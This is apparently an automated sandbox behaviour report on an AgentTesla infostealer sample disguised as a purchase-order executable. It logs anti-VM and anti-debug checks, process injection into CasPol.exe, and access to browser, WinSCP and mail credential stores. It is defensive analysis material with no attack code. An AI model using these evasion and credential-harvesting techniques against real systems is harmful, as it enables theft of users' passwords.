Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96903s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96793s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -96103s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95899s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95479s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95255s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -95013s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -94484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -94327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -94215s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -94078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -93951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -93719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -93078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92738s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92589s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92480s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92361s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -92141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91700s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -91069s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -90937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -90750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -90606s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -90219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -90078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -89937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -89828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -89703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -89437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -89293s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -88562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -88289s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -86250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -86031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85881s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85199s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -85092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -84932s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 332	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 332	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3504	Thread sleep count: 398 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 332	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99653	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99541	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99327	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98888	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98561	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98175	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 98043	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97935	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97811	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97698	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97415	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97270	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97154	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 97027	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96903	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96793	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96639	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96531	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96344	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96219	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 96103	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95899	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95719	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95479	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95255	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95125	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 95013	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 94484	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 94327	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 94215	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 94078	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 93951	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 93719	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 93078	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92860	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92738	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92589	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92480	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92361	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 92141	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91984	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91827	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91700	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91547	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91390	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91219	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 91069	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 90937	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 90750	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 90606	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 90219	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 90078	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 89937	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 89828	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 89703	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 89437	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 89293	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 88562	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 88289	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 86250	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 86031	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85881	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85703	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85484	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85328	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85199	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 85092	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 84932	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: CasPol.exe, 00000008.00000002.2493171847.0000000006604000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: vmci.syshbin`
Source: CasPol.exe, 00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware20,1
Source: CasPol.exe, 00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 8_2_016370A8 CheckRemoteDebuggerPresent,

8_2_016370A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: F33008	Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Queries volume information: C:\Users\user\Desktop\PO-065-01-2024E-2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr, Amcache.hve.LOG1.12.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2489366666.000000000342E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 43836, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 43836, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2489366666.000000000342E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 43836, type: MEMORYSTR

Mitre Att&ck Matrix

